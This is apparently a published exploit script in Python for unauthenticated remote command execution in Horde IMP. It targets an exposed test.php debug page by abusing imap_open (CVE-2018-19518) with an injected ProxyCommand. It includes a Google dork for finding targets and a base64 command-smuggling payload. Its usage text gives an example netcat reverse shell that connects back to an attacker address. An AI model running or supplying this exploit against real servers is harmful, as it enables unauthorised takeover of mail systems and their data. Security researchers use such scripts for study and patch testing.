Horde Imp - 'imap_open' Remote Command Execution

# Exploit Title: Horde Imp Unauthenticated Remote Command Execution 
# Google Dork: inurl:/imp/login.php
# Date: 10/01/2019
# Exploit Author: Paolo Serracino - Pietro Minniti - Damiano Proietti
# Vendor Homepage: https://www.horde.org/apps/imp/
# Software Link: https://www.horde.org/download/imp
# Version: All IMP versions
# Tested on: Debian/Ubuntu

import requests
import sys
import base64 
import random
import string 

'''
 --------------------------------------------------------------------------------------------
| Paolo Serracino - Pietro Minniti - Damiano Proietti - @OmnitechIT                           |
| Horde Imp Unauthenticated Command Execution via imap_open function in exposed debug page   |
 --------------------------------------------------------------------------------------------

Horde Imp, an application that comes with the Horde GroupWare/Webmail suite exposes an unauthenticated debug page with a form 
that permits IMAP requests to arbitrary hosts. The page is at http://horde_path/imp/test.php and should be deleted after installation.
Leveraging the CVE 2018-19518 and no input sanitization is possible to execute shell commands.
Tested on Debian/Ubuntu.
'''

def check(target):

   try:
      res_check = requests.get(target)
      if 'PHP Mail Server Support Test' in res_check.text and 'PHP Major Version: 5.' in res_check.text:
         print("[+] Target is most likely vulnerable")
         return True
      else:
         print("[-] Target doesn't look vulnerable")   
         sys.exit()
   
   except requests.exceptions.RequestException as e:
      print("[-] Connection Issue")   
   


def exploit(target,cmd):

   cmd= base64.b64encode(cmd)
   payload1 = random.choice(string.ascii_letters) 
   new_headers = ({'User-Agent':'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)',
                 'Referer':target,
                 'Cookie':'Horde=klstwo9u52kw7iqy4i22i0iok1;auth_key=klstwo9u52kw7iqy4i22i0iok1;imp_key=klstwo9u52kw7iqy4i22i0iok1;' 
                })

   res = requests.post(target,headers=new_headers,data=[('server',payload1 + ' -oProxyCommand=echo$IFS$()' + cmd + '|base64$IFS$()-d|sh}'), #in order to avoid url encoding by requests
                                                        ('port','143'),
                                                        ('user','a'),
                                                        ('passwd','a'),
                                                        ('server_type','imap'),
                                                        ('f_submit','Submit')
                                                        ])
   print('[+] Sent!')


if(len(sys.argv)) < 3:
 
   print("[+] First argument is the path of target's Horde test.php and second the payload as a shell command")
   print('[+] Enclose shell commands between double quotes')
   print('[+] example python horde_imap_cmd.py http://127.0.0.1/horde/imp/test.php "mknod /tmp/bk p; nc 192.168.1.17 443 0</tmp/bk | /bin/bash 1>/tmp/bk"')
   sys.exit()

target = sys.argv[1] #+ '/imp/test.php'
cmd = sys.argv[2]

if check(target):
   exploit(target,cmd)